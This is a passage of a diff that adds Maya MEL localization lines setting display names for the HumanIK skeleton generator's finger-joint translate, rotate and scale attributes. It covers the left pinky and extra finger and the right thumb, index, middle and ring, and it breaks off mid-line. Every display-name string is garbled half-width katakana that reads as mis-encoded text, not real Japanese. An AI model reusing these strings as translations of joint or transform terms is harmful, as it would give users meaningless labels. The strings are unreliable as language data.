+setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3R", "ラハヨミ。ヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Rx", "ラハヨミ。ヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Ry", "ラハヨミ。ヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Rz", "ラハヨミ。ヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3S", "ラハヨミ。ヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Sx", "ラハヨミ。ヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Sy", "ラハヨミ。ヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky3Sz", "ラハヨミ。ヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4T", "ラハヨミ。ヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Tx", "ラハヨミ。ヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Ty", "ラハヨミ。ヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Tz", "ラハヨミ。ヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4R", "ラハヨミ。ヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Rx", "ラハヨミ。ヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Ry", "ラハヨミ。ヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Rz", "ラハヨミ。ヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4S", "ラハヨミ。ヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Sx", "ラハヨミ。ヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Sy", "ラハヨミ。ヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandPinky4Sz", "ラハヨミ。ヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1T", "ラハヨチヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Tx", "ラハヨチヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Ty", "ラハヨチヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Tz", "ラハヨチヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1R", "ラハヨチヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Rx", "ラハヨチヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Ry", "ラハヨチヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Rz", "ラハヨチヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1S", "ラハヨチヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Sx", "ラハヨチヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Sy", "ラハヨチヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger1Sz", "ラハヨチヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2T", "ラハヨチヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Tx", "ラハヨチヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Ty", "ラハヨチヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Tz", "ラハヨチヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2R", "ラハヨチヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Rx", "ラハヨチヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Ry", "ラハヨチヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Rz", "ラハヨチヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2S", "ラハヨチヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Sx", "ラハヨチヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Sy", "ラハヨチヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger2Sz", "ラハヨチヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3T", "ラハヨチヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Tx", "ラハヨチヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Ty", "ラハヨチヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Tz", "ラハヨチヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3R", "ラハヨチヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Rx", "ラハヨチヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Ry", "ラハヨチヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Rz", "ラハヨチヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3S", "ラハヨチヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Sx", "ラハヨチヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Sy", "ラハヨチヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger3Sz", "ラハヨチヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4T", "ラハヨチヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Tx", "ラハヨチヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Ty", "ラハヨチヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Tz", "ラハヨチヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4R", "ラハヨチヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Rx", "ラハヨチヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Ry", "ラハヨチヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Rz", "ラハヨチヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4S", "ラハヨチヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Sx", "ラハヨチヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Sy", "ラハヨチヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "LeftHandExtraFinger4Sz", "ラハヨチヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1T", "モメハヨトエヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Tx", "モメハヨトエヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Ty", "モメハヨトエヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Tz", "モメハヨトエヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1R", "モメハヨトエヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Rx", "モメハヨトエヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Ry", "モメハヨトエヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Rz", "モメハヨトエヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1S", "モメハヨトエヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Sx", "モメハヨトエヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Sy", "モメハヨトエヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb1Sz", "モメハヨトエヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2T", "モメハヨトエヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Tx", "モメハヨトエヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Ty", "モメハヨトエヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Tz", "モメハヨトエヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2R", "モメハヨトエヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Rx", "モメハヨトエヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Ry", "モメハヨトエヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Rz", "モメハヨトエヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2S", "モメハヨトエヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Sx", "モメハヨトエヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Sy", "モメハヨトエヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb2Sz", "モメハヨトエヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3T", "モメハヨトエヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Tx", "モメハヨトエヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Ty", "モメハヨトエヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Tz", "モメハヨトエヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3R", "モメハヨトエヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Rx", "モメハヨトエヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Ry", "モメハヨトエヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Rz", "モメハヨトエヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3S", "モメハヨトエヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Sx", "モメハヨトエヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Sy", "モメハヨトエヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Sz", "モメハヨトエヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4T", "モメハヨトエヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Tx", "モメハヨトエヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Ty", "モメハヨトエヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Tz", "モメハヨトエヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4R", "モメハヨトエヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Rx", "モメハヨトエヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Ry", "モメハヨトエヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Rz", "モメハヨトエヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4S", "モメハヨトエヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Sx", "モメハヨトエヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Sy", "モメハヨトエヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Sz", "モメハヨトエヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1T", "モメハヨハウヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Tx", "モメハヨハウヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Ty", "モメハヨハウヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Tz", "モメハヨハウヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1R", "モメハヨハウヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Rx", "モメハヨハウヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Ry", "モメハヨハウヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Rz", "モメハヨハウヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1S", "モメハヨハウヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Sx", "モメハヨハウヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Sy", "モメハヨハウヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Sz", "モメハヨハウヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2T", "モメハヨハウヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Tx", "モメハヨハウヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Ty", "モメハヨハウヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Tz", "モメハヨハウヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2R", "モメハヨハウヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Rx", "モメハヨハウヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Ry", "モメハヨハウヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Rz", "モメハヨハウヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2S", "モメハヨハウヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Sx", "モメハヨハウヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Sy", "モメハヨハウヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Sz", "モメハヨハウヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3T", "モメハヨハウヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Tx", "モメハヨハウヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Ty", "モメハヨハウヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Tz", "モメハヨハウヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3R", "モメハヨハウヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Rx", "モメハヨハウヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Ry", "モメハヨハウヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Rz", "モメハヨハウヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3S", "モメハヨハウヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Sx", "モメハヨハウヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Sy", "モメハヨハウヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Sz", "モメハヨハウヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4T", "モメハヨハウヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Tx", "モメハヨハウヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Ty", "モメハヨハウヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Tz", "モメハヨハウヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4R", "モメハヨハウヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Rx", "モメハヨハウヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Ry", "モメハヨハウヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Rz", "モメハヨハウヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4S", "モメハヨハウヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Sx", "モメハヨハウヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Sy", "モメハヨハウヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Sz", "モメハヨハウヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1T", "モメハヨヨミヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Tx", "モメハヨヨミヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Ty", "モメハヨヨミヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Tz", "モメハヨヨミヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1R", "モメハヨヨミヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Rx", "モメハヨヨミヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Ry", "モメハヨヨミヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Rz", "モメハヨヨミヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1S", "モメハヨヨミヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Sx", "モメハヨヨミヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Sy", "モメハヨヨミヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Sz", "モメハヨヨミヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2T", "モメハヨヨミヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Tx", "モメハヨヨミヨク 2 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Ty", "モメハヨヨミヨク 2 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Tz", "モメハヨヨミヨク 2 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2R", "モメハヨヨミヨク 2 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Rx", "モメハヨヨミヨク 2 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Ry", "モメハヨヨミヨク 2 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Rz", "モメハヨヨミヨク 2 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2S", "モメハヨヨミヨク 2 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Sx", "モメハヨヨミヨク 2 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Sy", "モメハヨヨミヨク 2 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Sz", "モメハヨヨミヨク 2 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3T", "モメハヨヨミヨク 3 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Tx", "モメハヨヨミヨク 3 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Ty", "モメハヨヨミヨク 3 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Tz", "モメハヨヨミヨク 3 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3R", "モメハヨヨミヨク 3 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Rx", "モメハヨヨミヨク 3 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Ry", "モメハヨヨミヨク 3 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Rz", "モメハヨヨミヨク 3 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3S", "モメハヨヨミヨク 3 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Sx", "モメハヨヨミヨク 3 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Sy", "モメハヨヨミヨク 3 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Sz", "モメハヨヨミヨク 3 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4T", "モメハヨヨミヨク 4 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Tx", "モメハヨヨミヨク 4 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Ty", "モメハヨヨミヨク 4 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Tz", "モメハヨヨミヨク 4 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4R", "モメハヨヨミヨク 4 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Rx", "モメハヨヨミヨク 4 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Ry", "モメハヨヨミヨク 4 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Rz", "モメハヨヨミヨク 4 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4S", "モメハヨヨミヨク 4 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Sx", "モメハヨヨミヨク 4 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Sy", "モメハヨヨミヨク 4 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Sz", "モメハヨヨミヨク 4 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1T", "モメハヨボテヨク 1 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Tx", "モメハヨボテヨク 1 ニスメニx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Ty", "モメハヨボテヨク 1 ニスメニy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Tz", "モメハヨボテヨク 1 ニスメニz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1R", "モメハヨボテヨク 1 ミラェ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Rx", "モメハヨボテヨク 1 ミラェx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Ry", "モメハヨボテヨク 1 ミラェy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Rz", "モメハヨボテヨク 1 ミラェz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1S", "モメハヨボテヨク 1 ヒキナ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Sx", "モメハヨボテヨク 1 ヒキナx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Sy", "モメハヨボテヨク 1 ヒキナy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Sz", "モメハヨボテヨク 1 ヒキナz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2T", "モメハヨボテヨク 2 ニスメニ" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Tx", 